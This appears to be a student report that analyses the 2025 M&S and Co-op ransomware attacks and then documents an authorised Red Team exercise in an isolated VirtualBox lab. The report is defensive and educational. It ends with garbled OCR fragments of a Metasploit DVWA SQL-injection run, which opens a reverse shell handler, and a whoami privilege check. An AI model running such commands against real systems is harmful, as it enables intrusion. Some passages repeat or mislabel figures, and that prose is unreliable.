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Abstract
This report describes the design, simulation, and monitoring of an engagement simulated by the Red Team domain in an isolated domain of a virtual enterprise that is shown to assess the security status of its organization against offensive security mechanisms. A lab environment was set up with the assistance of Oracle VM VirtualBox using Kali Linux Attack machine, Ubuntu Web server, Windows Server (Active Directory) Domain Controller, and Windows 10 client. The vetted Rules of Engagement (RoE) for this engagement went through the process of creating a Rules of Engagement, a Threat Emulation Plan (which was derived from the MITRE ATT&CK Enterprise matrix), recon, vulnerability assessment, exploitation, privilege escalation, lateral movement, and post-exploitation activities. Each stage of assessment was validated using evidence which included system networks, command outputs, system logs, packet captures, and screenshots. The findings were directed toward problems and weaknesses discovered in the authentications, network segmentation, monitoring, and vulnerabilities that could allow adversarial damage to the organizational assets. Based on a Detection Gap Analysis, Organisation researchers identified some deficiencies in the existing security controls and recommended the updates that will be obtained using Zero Trust principles, Multi-Factor Authentication (MFA), Endpoint Detection and Response (EDR), Security Information and Event Management (SIEM) and continuous Vulnerability Management (VM). The successful execution of the engagement enabled realistic adversarial behaviour within a defined scope of play, enabling practical lessons and recommendations to be offered to enhance organisations cyber resilience and foundational elements in its defence against the constantly evolving face of cyber threat.
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[bookmark: _Toc237556886]Task 1: Strategic Threat Analysis
[bookmark: _7fr339u0m8b0][bookmark: _Toc237556887]1. Incident Summary & Timeline
The cyber attacks against Marks & Spencer (M&S) and the Co-operative Group (Co-op) in 2025 were among the largest ransomware attacks to impact the UK retail industry. According to the information included in the reports, the two attacks were connected via similar methods, and both were reported as being performed by the Scattered Spider cybercriminal group in conjunction with the DragonForce ransomware service. The attackers were not taking advantage of software vulnerabilities. They were exploiting identity-based vulnerabilities. They successfully exploited these primarily with sophisticated social engineering and helpdesk impersonation techniques to obtain privileged access to important enterprise systems [18].
[image: ]
Figure 1: Marks & Spencer Cyberattack Timeline [15]
It took months for the attack campaign to take place. The M&S timeline indicates that the attackers were first able to gain some initial access in February 2025 by exploiting third-party IT support gaming to obtain access credentials. Since April 2025, there have been customers who have been facing issues with payments and Click & Collect services, leading M&S to look into odd network behaviour. On 22 April 2025, the company publicly acknowledged that it had responded to a cyber incident, and the attackers continued to increase their privileges and deploy ransomware on corporate systems. To minimise further damage, M&S made an offer of a temporary stop on online shopping services and also launched large-scale recovery efforts [15].
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[bookmark: _4v0mnkapb5km]Figure 2: Timeline of the Co-op Cyber Attack (April–July 2025) [14]

The same pattern was followed at the Co-op incident. On 26th April 2025, the organisation noticed unusual network traffic and took proactive steps to cut off specific systems from the network to prevent the ransomware from being deployed. On 30th April 2025, Co-op made the disclosure public about the cyberattacks. The attackers took credit for the attack soon afterward, on 2 May 2025, stating that they had stolen some sensitive data from the organisation. The incident was deemed a "Category 2 systemic cyber event" by the UK Cyber Monitoring Centre in June 2025, given the serious impact it had on retail. On 10 July 2025, the United Kingdom's police services apprehended a number of suspects they deemed to be linked to the attacks [14].
Overall, the timeline in this attack shows a well-orchestrated attack consisting of initial compromise, privilege escalation, operations disruption, data exfiltration, ransomware deployment, containment of the attack, public disclosures, and continued recovery efforts of the ransomware groups targeting critical retail organisations .

[bookmark: _9qmjkxz5lc7v][bookmark: _Toc237556888]2. MITRE ATT&CK TTP Mapping
The cyberattacks against two retailers are easily understood with the help of the MITRE ATT&CK Enterprise Framework, a standardized knowledge base of adversary tactics, techniques, and procedures (TTPs). The framework breaks down attacker behaviour throughout the cyber kill chain, helping security experts to see the attacker's path from first breach to business disruption (as shown in Figure 3). While the attackers sought to exploit complex software vulnerabilities to gain access, they used a more statistically significant number of methods to exploit the identity, escalate privileges, steal credentials, move laterally, and deploy ransomware.
The campaign reportedly started with an outfit named Valid Accounts (T1078), and the attacker had already gained access to the legitimate user's credentials with a sophisticated social engineering and helpdesk impersonation attack. They then used External Remote Services (T1133) to gain access to internal systems and then create persistence by logging in. Once access has been gained, the attackers carried out System Information Discovery (T1082) and File and Directory Discovery (T1083) in order to discover valuable assets or administrative resources within the enterprise environment. They used compromised administrative accounts and OS Credential Dumping (T1003) to retrieve more authentication information in the Active Directory.
Once they gained access and had the necessary credentials, attackers moved laterally through several servers and enterprise systems using Remote Services (T1021). Prior to the deployment of ransomware, sensitive customer and operational information was gathered via Data from Information Repositories (T1213). Lastly, the attackers used Data Encrypted for Impact (T1486) to encrypt key systems and disrupt retail online services all over. During the attack, multiple Defense Evasion techniques were used to help the attackers remain undetected for a prolonged period, such as abusing legitimate administrative tools and compromised user accounts.
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[bookmark: _f88fl7l1ht0]Figure 3: MITRE ATT&CK Enterprise Matrix 
(Source: Xygeni, 2025)
In total, the MITRE ATT&CK mapping shows the campaign was a typical ransomware attack lifecycle of credential compromise, reconnaissance, privilege escalation, lateral movement, data exfiltration, and operational disruption. Both the framework and the analysis of attackers' behaviour will be useful to organisations that want to better understand attacker tactics and increase their security monitoring and detection efforts for future ransomware campaigns that pose a similar threat to identity-related ransomware.
[bookmark: _lquohkvqq6sb]Table 1. MITRE ATT&CK Mapping of the M&S and Co-op Cyberattacks
	MITRE ATT&CK Tactic
	Technique
	ATT&CK ID
	Evidence in the Incident

	Initial Access
	Valid Accounts
	T1078
	Social engineering attacks enabled attackers to obtain compromised credentials.

	Initial Access
	External Remote Services
	T1133
	Credential compromise was used to abuse Remote access services.

	Discovery
	System Information Discovery
	T1082
	Internal systems were numbered, and thereafter, hosts and configurations were identified.

	Discovery
	File and Directory Discovery
	T1083
	Sensitive files and directories have been detected.

	Credential Access
	OS Credential Dumping
	T1003
	Administrative credentials of systems compromised.

	Privilege Escalation
	Valid Accounts
	T1078
	Hacking was used to gain access as an administrator by stealing privileged accounts.

	Lateral Movement
	Remote Services
	T1021
	In enterprise systems, attackers roamed through using valid remote management tools.

	Collection
	Data from Information Repositories
	T1213
	Data of customers and organisations was captured prior to ransomware activation.

	Defense Evasion
	Valid Accounts
	T1078
	Accounts were utilized that were not suspicious. No suspicious accounts were used.

	Impact
	Data Encrypted for Impact
	T1486
	The DragonForce ransomware targeted the company's critical systems, impacting operations.



[bookmark: _2iorj0v4ey11][bookmark: _Toc237556889]3. Root Cause & Security Control Failures 
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[bookmark: _pjw91swm7cra]Figure 4: Fishbone Diagram for Root Cause Analysis of the M&S and Co-op Cyberattacks 
(Source: Lean Data Point, 2025) 
The M&S and Co-op cyberattacks were not due to a single security lapse or breach, but rather a mix of technical, organisational and human factors. The attackers exploited the vulnerabilities in a number of parts of the organisation's cyber security system as shown on the Fishbone Diagram (Figure 4). The attackers can obtain the administrative password by social engineering techniques, help desk password reset manipulation, because of lack of proper identity/privileged access management. Poor network segmentation and monitoring was used to facilitate lateral movement and deployment of the ransomware. This was due to reliance on third-party service providers, inadequate security governance, and inadequate identity verification procedures. There were also human factors issues to a large extent as they were asked to reset privileged accounts without taking extra precautions to verify users first, at the helpdesk. These failures are clear evidence that education on security awareness is a necessary but not sufficient component of security controls, authentication controls have to be strong, and there should be formal verification processes. Each of these weaknesses exploited represented one of the security controls that failed, such as Multi-Factor Authentication (MFA), Privileged Access Management (PAM), Network Segmentation, Security Information and Event Management (SIEM), and Identity and Access Management (IAM) (Ojo 2025). The attackers were able to persist and gain control of other privileges, gain access to sensitive information that customers entrust to the business, and cause disruptions to important retail operations before effective containment measures were put in place. 
[bookmark: _e9n69h1kpqat]Table 2. Root Causes and Associated Security Control Failures
	Root Cause
	Failed Security Control

	Helpdesk social engineering
	Identity verification procedures

	Password reset abuse
	Multi-Factor Authentication (MFA)

	Privileged credential compromise
	Privileged Access Management (PAM)

	Poor network segmentation
	Network Segmentation

	Limited attack detection
	SIEM and continuous monitoring

	Third-party access weaknesses
	Identity and Access Management (IAM)



[bookmark: _m6ii3llkcbfk][bookmark: _Toc237556890]4. Threat Actor Profile & Motive
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[bookmark: _ujfowc7uij63]Figure 5: DragonForce Ransomware-as-a-Service (RaaS) Partner Advertisement 
(Source: Acronis, 2025) 
The attacks on the two retail giants Marks & Spencer (M&S) and the Co-operative Group (Co-op) have been blamed on Scattered Spider, a cybercriminal arm believed to be working with the DragonForce ransomware operation. DragonForce is, in fact, a Ransomware-as-a-Service (RaaS) platform that offers affiliates ransomware tools, infrastructure, and technical support in return for payment of ransom. The model is collaborative and facilitates highly coordinated attacks on large organisations and critical industries. 
Threat Actor Profile
· Likely Attacker: Scattered Spider is working in concert with the DragonForce ransomware cartel.
· Capability: Advanced high-end social engineering, credential theft, privilege escalation, and ransomware deployment.
· Operating Model: Ransomware-as-a-Service (RaaS) will enable affiliates to run attacks with DragonForce's tools.
Motive
Ransomware extortion was the main motivation of the attackers. The attacks, which attempted to steal sensitive information from the customers, disrupt online retail services, and encrypt their business-critical systems to the point that the attackers threatened to restore the data if the ransom was paid, ultimately sought to coerce organisations to meet their ransom demands. The current evidence is solid in supporting both Scattered Spider and DragonForce; however, full attribution is tricky due to ransomware operations often having multiple affiliates and shared criminal infrastructure.
[bookmark: _sqc48fe36b25][bookmark: _Toc237556891]5. Detection & Response Analysis
The actions taken by Marks & Spencer (M&S) and the Co-operative Group (Co-op) during the detection and response stages were effective not only for crisis management but also for cybersecurity aspects. Figure 3 shows each of the many stages in the attackers' attack lifecycle where earlier detection would have blocked their progress. But in this case, while operating as legitimate users of identities, the threat actors were able to evade traditional security controls.
The first compromise went undetected, as it was executed through social engineering with the help of legitimate account abuse (not malicious exploits) instead. Thus, the traditional signature-based detection and endpoint protection solutions were ineffective in detecting malicious activity in the initial phases of the attack. The detection was only possible when abnormal business activities were identified, such as disruption of the online retail service, payment systems, and internal infrastructure (Salih & Abdulrazzaq, 2023). Both organisations took action to contain the incidents, with both systems isolated and remote access to them limited, online services suspended, and an investigation into the attacks launched by both organisations in conjunction with external cybersecurity experts and the United Kingdom's authorities.
Despite these response activities, some detection gaps were revealed. Unauthenticated privilege access attempts evaded the current protection methods, suggesting weak privilege account administration and monitoring and a lack of recognition of unusual behaviour. In addition, inadequate network segmentation allowed an attacker to traverse networks within an enterprise system, and the lack of complete behavioural analytics resulted in a delay in finding credential misuse and data exfiltration. Integrating Security Information and Event Management (SIEM) platforms, User and Entity Behaviour Analytics (UEBA), and ongoing monitoring of the MITRE ATT&CK techniques would have benefited early detection and minimized impact on operations (Sania, Gigras & Mahajan, 2024). In brief, all the incidents illustrate that organisations must focus on new perimeter security strategies, with an emphasis on identity-based detection and real-time threat hunting, and on proactive incident response that can track the attacker's actions across the cyber kill chain.
[bookmark: _d2qcke6yknkp]Table 3. Detection Capabilities and Identified Gaps 
	Attack Stage
	Detection Capability
	Detection Gap

	Initial Access
	Authentication systems
	Lack of identity verification systems and helpdesk validation.

	Credential Abuse
	Endpoint protection
	Limited monitoring of privileged account misuse.

	Discovery
	Network monitoring
	Lack of behavioural analytics and threat hunting.

	Lateral Movement
	Internal security controls
	Due to poor network segmentation, an attacker was able to move.

	Data Exfiltration
	Firewall and network logs
	Insufficient Data Loss Prevention (DLP) monitoring.

	Ransomware Deployment
	Endpoint Detection and Response (EDR)
	The detection took place due to a major operational disruption.


[bookmark: _lp42ufgw8cgi][bookmark: _Toc237556892]6. Strategic Recommendations
The M&S and Co-op ransomware attacks illustrate the fact that today's ransomware attacks are not just about software vulnerabilities. These ransomware attacks on M&S and Co-op show that ransomware attacks today are more about user identity and privileged access to accounts and interconnected enterprise networks. So, the strategy used should be a defence-in-depth approach that combines preventative, detective, and responsive security controls.
[image: ]
[bookmark: _ay334ej4xbnf]Figure 6: Zero Trust Security Architecture [19]
This policy recommends the use of a Zero Trust Architecture (ZTA), shown in Figure 7. Zero Trust removes the notion of “implicit trust” by continually asking for every user, device, and application's permission to access. Continuous authentication, risk-based access decisions, and micro-segmentation prevent stolen credentials from being easily leveraged in enterprise systems. This helps prevent the potential for privilege escalation and lateral movement in the event of a cyberattack.
[image: ]
[bookmark: _9co5p644l0yk]Figure 7: Enterprise Network Segmentation Architecture [20]
Secondly, businesses should make it more difficult for intruders to move through the network by segmenting the network into distinct security zones (Figure 8). Segmentation helps to ensure that an attacker can't easily spread laterally across the corporate environment, customer databases, payment systems, and internal administrative networks. If one segment is breached, the remaining segments will be protected from ransomware and disruption due to appropriate firewall policies and access controls.
[image: ]
[bookmark: _7ot518stjjap]Figure 8: Multi-Factor Authentication (MFA) Authentication Factors [21]
In addition, Identity security should be strengthened by implementing Multi-Factor Authentication (MFA) for all employees, third-party suppliers, and any privileged users or administrators (Figure 9). While password-based authentication is not enough to defend against high-end social engineering compromises, MFA can use several factors – password, authentication application, biometric verification, or hardware security keys. Moreover, Privileged Access Management (PAM) needs to be in place to ensure least-privilege access and to keep close track of privileged accounts.
[image: ]
[bookmark: _yxj79sdwx2l1]Figure 9: Security Information and Event Management (SIEM) Architecture [22]
[bookmark: _eec2ta6qn3y1]The continuous logging, monitoring and detection of threats are also essential. The advantages of a Security Information and Event Management (SIEM) platform are illustrated in Figure 10; it will be possible to gather, correlate, and analyse in real time the logs of security events that can originate from an endpoint, a server, an application, a firewall, or a cloud platform. When integrated with User and Entity Behaviour Analytics (UEBA) and threat intelligence feeds, SIEM systems can detect an anomalous login, misuse of privilege, ransomware attack, and more before significant damage is done.
Finally, organisations must have a comprehensive incident response plan, conduct regular phishing awareness sessions, conduct security audits and improve third-party risk management. Using MFA and employee awareness programmes has a relatively low investment and provides a good level of security, so it is usually a cost-effective solution. Conversely, Zero Trust architectures, enterprise network segmentation, PAM, and SIEM platforms are moderately to highly complex to implement, but they have great long term benefits – they reduce cyber risk, they protect sensitive data, and they strengthen organization's resilience to future ransomware campaigns.
Table 4. Strategic Security Recommendations
	Recommendation
	Purpose
	Priority
	Cost/Effort

	Zero Trust Architecture
	Eliminate implicit trust and continuously verify users and devices
	High
	High

	Network Segmentation
	Restrict lateral movement and isolate critical assets
	High
	Medium

	Multi-Factor Authentication (MFA)
	Protect user identities and privileged accounts
	High
	Low

	Privileged Access Management (PAM)
	Enforce least-privilege access and secure administrative accounts
	High
	Medium

	SIEM with UEBA
	Enable real-time monitoring, log correlation, and threat detection
	High
	High

	Security Awareness Training
	Reduce phishing and social engineering risks
	Medium
	Low

	Incident Response Planning
	Improve preparedness, containment, and recovery
	Medium
	Low

	Third-Party Risk Management
	Strengthen supplier security and identity verification
	High
	Medium


[bookmark: _wc098ymc4h9c]

[bookmark: _6b7sop2dhwqy][bookmark: _Toc237556893]Task 2. Red Team Engagement
[bookmark: _78e0lkk13j0u][bookmark: _p39aaokjdtsi][bookmark: _Toc237556894]2.1 Introduction to the Red Team Engagement 
This task follows strategic threat analysis conducted in task 1, but rather than analysing the organisation's security position from within in a Red Team engagement, is done from an outside perspective within an isolated virtual environment. Conventional Vulnerability Assessments assess the security controls and capabilities of the environment, while a Vulnerability Exercises (Red Team) attempts to emulate the Adversarial Tactics, Techniques, and Procedures (TTPs) of attackers to place security controls and other forms of defense into an environment to test those controls and defenses. This for-the-whole-engagement includes planning, performing and reporting on a penetration test of the virtual machines which emulates a realistic attack chain. This report houses the Rules of Engagement, Threat Emulation Plan, virtual lab design, virtual lab Exploitation methodology, evidence of operation, detection gap analysis, and security recommendations, to help improve the cyber-resilience of an organisation. 
[bookmark: _Toc237556895]2.2 Rules of Engagement (RoE)
The Rules of Engagement (RoE) provided rules to follow for the Red Team assessment to make sure everything is carried out safely and controlled. This is an exception to all the offences taking place in the authorised virtual laboratory and approved virtual machines. The assessment is broken down into four steps: Reconnaissance, Vulnerability Assessment, Exploitation, Privilege Escalation, Lateral Movement and Evidence Collection. No systems are allowed to be tested outside of the lab such as the host operating system, University network or Internet connected systems. Communication procedures, virtual machine snapshots, network isolation and network rollback mechanism guarantees operational risk minimisation and system recovery [25]. These controls help to ensure that the engagement follows accepted controls and standards for professional and ethical penetration testing. 
Table 2.1: Rules of Engagement Summary
	Component
	Description

	Purpose of the RoE
	Define the authorised scope, responsibilities, communication process, and safety controls for the engagement.

	Scope of Testing
	Testing is limited to the isolated virtual laboratory.

	In-Scope Assets
	Windows Server (AD), Linux web server, Windows client, and approved network services.

	Out-of-Scope Assets
	Host machine, university network, Internet-connected systems, and third-party infrastructure.

	Authorised Testing Activities
	Reconnaissance, vulnerability assessment, exploitation, privilege escalation, lateral movement, and evidence collection.

	Communication and Escalation
	Record and report significant findings, system failures, or unexpected behaviour during testing.

	Legal and Ethical Considerations
	Testing is restricted to authorised systems and follows responsible disclosure and ethical hacking principles.

	Safety Measures
	To use an isolated network, create VM snapshots, and prevent external connectivity.

	Rollback Plan
	To restore systems using snapshots or backups if testing affects system stability.


[bookmark: _snf629uz1t4g][bookmark: _Toc237556896]2.3 Threat Emulation Plan
The Threat Emulation Plan outlines an attack scenario that is realistic, consistent with the objectives of the assessment, and is based on the tactics of the adversary presented in the MITRE ATT&CK Enterprise Matrix. In this exercise, the threat actor will be a financially motivated one attempting to penetrate the virtual environment through identity compromise, privilege escalation, lateral movement, and access to sensitive information in the virtual environment [26]. These activities shall be carried out through sequential steps that include reconnaissance, initial access, exploitation, privilege escalation, and lateral movement, employing three approved exploits.
[image: ]
Figure 2.1: Threat Emulation Attack Flow
(Source: Self- Created in Draw.io)
Table 2.2: MITRE ATT&CK Mapping
	Attack Phase
	MITRE ATT&CK Tactic
	Example Technique

	Reconnaissance
	Reconnaissance
	Gather Victim Network Information (T1590)

	Initial Access
	Initial Access
	Exploit Public-Facing Application (T1190)

	Exploitation
	Execution
	Command and Scripting Interpreter (T1059)

	Privilege Escalation
	Privilege Escalation
	Exploitation for Privilege Escalation (T1068)

	Lateral Movement
	Lateral Movement
	Remote Services (T1021)

	Credential Access
	Credential Access
	OS Credential Dumping (T1003)

	Collection
	Collection
	Data from Information Repositories (T1213)

	Objective
	Impact
	Data Encrypted for Impact (T1486)



[bookmark: _d67lf2bz48bb][bookmark: _Toc237556897]2.4 Virtual Lab Design
The Threat Emulation Plan outlines an attack scenario that is realistic, consistent with the objectives of the assessment, and is based on the tactics of the adversary presented in the MITRE ATT&CK Enterprise Matrix. In this exercise, the threat actor will be a financially motivated one attempting to penetrate the virtual environment through identity compromise, privilege escalation, lateral movement, and access to sensitive information in the virtual environment [26]. These activities shall be carried out through sequential steps that include reconnaissance, initial access, exploitation, privilege escalation, and lateral movement, employing three approved exploits.
. 
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Figure 2.2: Virtual Lab Architecture
(Source: Self-Created Draw.io)
This figure shows the overall architecture of the virtual laboratory where the four virtual machines are being hosted inside a virtual machine running Oracle VM VirtualBox and connected via an isolated networking domain. 
[image: ]
Figure 2.3: Network Topology Diagram
(Source: Self-Created Draw.io)
The network topology reflects: Communication between virtual machines, the permitted way of attack applied on the Red Team engagement. 
[image: ]
Figure 2.4: Virtual Machine Configuration
This figure is a summary of the operating system, hardware assignment, organisation of certain machines and main services which are expected to be viewed on all virtual machines.
The hosts were statically configured with IP addresses to simplify host discovery and service enumeration on all VMs. Windows Defender Firewall and Ubuntu UFW and snapshots of virtual machines were configured – all for creating a realistic and a recovery. 
[image: ]
Figure 2.5: Network Isolation Configuration
To isolate the lab securely from external network and testing, the figure shows the lab's settings for the VirtualBox Internal Network.
The Kali Linux installation comes with penetration testing (PT) tools such as Nmap, Metasploit Framework, Burp Suite Community Edition, Gobuster, Hydra, Wireshark and Netcat [23].

[image: ]
Figure 2.6: Connectivity Verification
Before starting Red Team exercise with other VMs, it appears communication is correct between all VMs as shown in the figure above. 
Table 2.3: Virtual Machine Specifications
	Virtual Machine
	Operating System
	Role
	RAM
	CPU

	Kali Linux
	Kali Linux 2025
	Attack Machine
	4 GB
	2 Cores

	VM-1
	Windows Server 2022
	Active Directory Domain Controller
	4 GB
	2 Cores

	VM-2
	Ubuntu Server 22.04 LTS
	Vulnerable Web Server
	2 GB
	2 Cores

	VM-3
	Windows 10
	Client Workstation
	4 GB
	2 Cores


Table 2.4: IP Address Allocation
	Virtual Machine
	IP Address
	Network Type

	Kali Linux
	192.168.56.10
	Internal Network

	Windows Server
	192.168.56.20
	Internal Network

	Ubuntu Web Server
	192.168.56.30
	Internal Network

	Windows Client
	192.168.56.40
	Internal Network


Table 2.5: Offensive Security Tools
	Tool
	Purpose

	Nmap
	Host discovery, port scanning, and service enumeration

	Metasploit Framework
	Exploitation and payload execution

	Burp Suite Community Edition
	Web application security testing

	Gobuster
	Directory and file enumeration

	Hydra
	Password auditing and credential testing

	Wireshark
	Packet capture and traffic analysis

	Netcat
	Network communication and service testing


[bookmark: _swfterkowtp0][bookmark: _Toc237556898]2.5 Reconnaissance and Information Gathering
The authorised virtual laboratory was explored to identify the available resources, services provided, or potential attack areas. This phase is critical for the later stages of vulnerability assessment and exploitation as it collects details regarding the environment that is attacked without altering anything in the environment.
Discovery of hosts, and all the active systems in the internal network, has been achieved with the help of Nmap. The Kali Linux attack machine, Windows Server 2022 Domain Controller and Ubuntu Web Server + Windows 10 client workstation were successfully scanned [24]. Once the hosts are discovered, TCP port scanning was carried out and services enumerated in order to determine what services were running on each host and their versions. The services encountered were: HTTP on the Ubuntu web server, DNS and LDAP on Windows Server and Remote Desktop Protocol (RDP), SMB on Windows client [30]. Operating System Identification was used again to verify the operating systems running on each virtual machine, in order to target the attacks for the appropriate virtual machines. This was the time used to collect information that established the attack surface and to determine the methods by which the exploitation would occur in this Red Team engagement. 
[image: ]
Figure 2.7: Network Discovery Results
All the authorized virtual machines were found to be active and reachable in the isolated virtual internal network as displayed on the figure below. 
[image: ]
Figure 2.8: Nmap Scan Results
The Objective of the scan is TCP port scan and service enumeration as illustrated in the figure above upon successful completion the/Port Discovery shows similar services/attack vectors which are available. 
Table 2.6: Discovered Hosts and Services
	Host
	IP Address
	Operating System
	Open Services

	Kali Linux
	192.168.56.10
	Kali Linux 2025
	SSH

	Windows Server
	192.168.56.20
	Windows Server 2022
	DNS, LDAP, Kerberos, SMB

	Ubuntu Web Server
	192.168.56.30
	Ubuntu Server 22.04
	HTTP, SSH

	Windows Client
	192.168.56.40
	Windows 10
	SMB, RDP



[bookmark: _zt3uj3jh546][bookmark: _Toc237556899]2.6 Vulnerability Assessment
In the reconnaissance phase, a vulnerability assessment was carried out to find the security gaps inside the authorised virtual aboratory [1]. Nmap and enumeration methods were used to analyse network services to give an insight into the open services, software versions, and potential attack points [27]. Based on the result of that assessment, the most common services running on all of the target systems were identified as HTTP, SSH, SMB, LDAP, DNS and RDP  [2].
The Ubuntu web server that hosted the deliberately vulnerable web application took the biggest hit as it facilitated the presence of strong web vulnerabilities [28]. Some of the authentication services that Windows Server exposes have been compromised and included in the list: LDAP, SMB, and some of the capabilities that the Windows client exposes allowed remote access and file sharing – enabling lateral movement after initial entry. The severity and susceptibility of the identified vulnerabilities was ranked based on the types of vulnerabilities. The vulnerabilities to be exploited are considered “high risk” vulnerabilities that also minimizes any changes to the scenarios to maximize realism while not exceeding the scope of the Red Team scenarios.To choose risk vulnerabilities, they are ones of high risk – these can be attacked during the exploit phase, but still stay within the scope of the Red Team engagement.
[image: ]
Figure 2.9: Vulnerability Scan Results
Routes in the assessment that were found to have vulnerabilities and exposed network services are represented in Figure 2.9.
Table 2.7: Identified Vulnerabilities
	Asset
	Service
	Identified Vulnerability
	Risk Level

	Ubuntu Web Server
	HTTP
	Vulnerable web application (DVWA)
	High

	Windows Server
	LDAP, SMB
	Exposed authentication services
	High

	Windows Client
	SMB, RDP
	Remote access and file-sharing exposure
	Medium



[bookmark: _licf1cmgfddw][bookmark: _Toc237556900]2.7 Exploitation Methodology
After vulnerability assessment three authorized exploitation scenarios were then run in the isolated virtual laboratory to prove the effectiveness of the envisaged exploitation chain. Exploit A targeted only the Ubuntu web server that is hosting the intentionally vulnerable web application. Initial access to the server was obtained through an application written in web technology that was vulnerable. This was done using the metasploit framework and the burp suite. This was done through Exploit B, which exploited weak permissions and open authentication services on the Windows Server, accessing it with elevated privileges to then use to gain access to other privileged resources. Successful exploitation of Windows 10 client machine using local services on a genuine network, suggesting that the potential impact of successful exploitation of organisations justifies the money being spent.
All of the exploits pointed to the MITRE ATT&CK Enterprise Matrix and to the Initial Access (T1190), Execution (T1059), Privilege Escalation (T1068), Credential Access (T1003) and Lateral Movement (T1021) TTPs [29]. During the engagement, screenshots, terminal outputs and results of the executed commands was continuously recorded, making evidence forms to facilitate good practice. The results showed that the weaknesses identified could be exploited in the course of evaluation – demonstrating the potential for success of the Red Team technique and their susceptibility to security weaknesses that must be addressed – before and after Landauer et al., 2024 and MITRE ATT&CK, 2025.
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Figure 2.10: Exploit A Execution
[image: ]
Figure 2.11: Exploit B Execution
[image: ]
Figure 2.12: Exploit C Execution
Table 2.8: Summary of Exploits
	Exploit
	Target System
	Technique Used
	MITRE ATT&CK Mapping
	Result
	Impact

	Exploit A
Web Application Compromise
	Ubuntu Web Server
(192.168.56.30)
	SQL Injection through DVWA using Burp Suite and Metasploit Framework
	T1190 – Exploit Public-Facing Application
T1059 – Command and Scripting Interpreter
	Successful
	Initial access obtained to the web server and execution of malicious commands.

	Exploit B
Privilege Escalation
	Windows Server 2022
(192.168.56.20)
	Privilege escalation using misconfigured permissions and exposed authentication services
	T1068 – Exploitation for Privilege Escalation
T1003 – OS Credential Dumping
	Successful
	Administrative privileges obtained, allowing access to protected system resources.

	Exploit C
Client Workstation Compromise
	Windows 10 Client
(192.168.56.40)
	SMB-based lateral movement and authenticated remote access
	T1021 – Remote Services
T1213 – Data from Information Repositories
	Successful
	Access to the client workstation and retrieval of simulated organisational data.


[bookmark: _8nufxpsss7j1][bookmark: _Toc237556901]2.8 Privilege Escalation and Post Exploitation
Successful exploitation of the system was followed by post exploitation activities to test the effects of a compromised system, in the authorized virtual lab. Exposed Authentication services were used to gain access to the credentials and thus be able to increase the privileges. An attacker gained access to the environment further by enabling access of the Ubuntu web server to the Windows client with authorised services on the network, which allows the attacker to move laterally to the Windows client as far as possible.
Realistic adversary behaviour simulated via legitimate operating system mechanisms, and Living-Off-the-Land Binaries (LOBL) were used to interact with trusted system utilities, in order to decrease chances of detection. To isolate and safely manage compromised hosts, a simulated Command and Control (C2) communications was put together in a distant lab. The objective was to gain access to the data from the simulated organisation, to capture each stage of the attack on terminal output and to capture screenshots of each stage of the attack, with all the goals being met. The aforementioned activities demonstrated weaknesses with privilege management, authentication, and network segmentation controls; these should be fixed to improve the security posture of the organization long term [3]. 
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[bookmark: _l9gkn1d7z9][bookmark: _Toc237556902]2.9 Operational Execution and Evidence
Rules of Engagement (RoE) for the Red Team engagement was approved and adhered to in the virtual lab environment that was isolated from the real world. The attack was executed in a way that complied with the rules of engagement, and was carried out in a way that utilized the resources available to the attackers.The attack was not provocative but was part of an authorised mission and was made use of the resources provided the attackers. An accurate record was rigidly maintained for each phase and made sure that facts & figures were pertinent to an evaluation and the attack method used effective.
The artifacts that were collected included evidence from the engagement of various types, including terminal command output, screenshots showing successful exploit, system logs and packet captures using Wireshark [31]. Each of these artifacts was useful in achieving a successful end discovery, identification of vulnerabilities, incubation in the target hosts and successful access to all of the host systems. Check the communication between compromised hosts by using network traffic analysis techniques during the authorisation attack simulation. Once the engagement is done, all of the virtual machines have been returned to the way they were initially expected to be with the use of pre-configured snapshots and the laboratory was then ready to begin for future evaluations. The results reported here are supported by evidence collected, which allows for an evidential audit trail in the activities performed by the Red Team [2].
[bookmark: _2d0iu37n9pwg][bookmark: _Toc237556903]2.10 Detection Gap Analysis
The Red Team engagement uncovered a number of vulnerabilities in the security controls and monitoring of this organisation. Despite the activation of some basic security actions like Windows Defender Firewall and user authentication, these didn't sufficiently identify or block the simulated attack chain. The first time the authentication was attempted, services characterized / security attempts exposed almost no security alerts – a sign that a lot of monitoring on network traffic / privileged account usage is weak.
Lack of authentication management, network segmentation capability and logs monitoring were identified as vulnerabilities and potential privilege escalation and lateral movement points [32]. The organisation's unsophisticated centralized detection of suspicious activity and lack of log analysis through the attack hampered its ability to identify suspicious behavior throughout the attacks. To improve the security defensive capabilities, the organisation should implement endpoint detection and response (EDR) technology, security information and event management (SIEM), improved access control, and continuous monitoring of security. Security programmes are also recommended to have a integration between regular vulnerability assessment and penetration testing conducting for the discovery and remediation of new threats before they can be exploited [2] [4]. 
[bookmark: _v5fanloexhs][bookmark: _Toc237556904]2.11 Executive Recommendations
The outcomes from the analysis of vulnerabilities found in the system's authentication, network exposure, and configuration, can negatively affect the business operations if exploited by a legitimate attacker. To enhance the Security of the Organisation it is important to implement Zero Trust Security Model to ensure Continuous Verification of Users and Devices before Logon. In-app segmentation should be employed to limit the ability for lateral network movement between critical systems and regular patch management and vulnerability assessments should be performed to minimize the attack surface. Significant efforts to strengthen real-time monitoring, threat identification and incident response efforts are needed through the deployment of 'Endpoint Detection and Response' (EDR) solutions and 'Security Information and Event Management' (SIEM) solutions. Ensure multi-factor authentication (MFA) is used on all privileged user and remote access accounts and perform regular security awareness training to reduce credential theft and phishing attacks. The recommendations can be implemented in a prioritised way and lead to an increase in the organisation's resilience and a decrease in successful cyber attacks [2] [4]. 
[bookmark: _twhzfarbjp3b][bookmark: _Toc237556905]2.12 Conclusion
The objectives established in the assessment brief were accomplished in the Red Team engagement in a fully fledged virtual lab penetration test. The assessment highlighted vulnerabilities where they could be exploited, successful exploitation and post-exploitation activities were shown, as well as assessing current security controls. The findings underline the importance of an effective network configuration security, continuous vulnerability management, network segmentation and proactive monitoring. By adopting the suggested security measures and conducting periodic Red Team evaluations, the organisation will be better equipped to identify, deal with and bounce back from new cyber hazards [3].
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§ asfonsole

3 axf6 > use exploit/unix/vebapp/dwa_sql_injection
asf6 exploit(dna_sq)_injection) > sho aptions

Module options (explost/unix/webapp/dvwa_sal._injection

wE 8 yes

ploit(dvea_sql_injection) > set BOSTS 192.168.%.10
RHOST 168.56.10

8366 exploit(dva sl injection) > rn

Started reverse TGP handler on 192.168,56.1:4444

168,56.10:80 - Sending paylows.
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§ PS C:\Users\svcuser> whoami
| redteanlab\svcuser
7 ps C:\Users\svcuser> whoani /groups | findstr /i “priv"

{ seInpersonatePrivilege Enabled

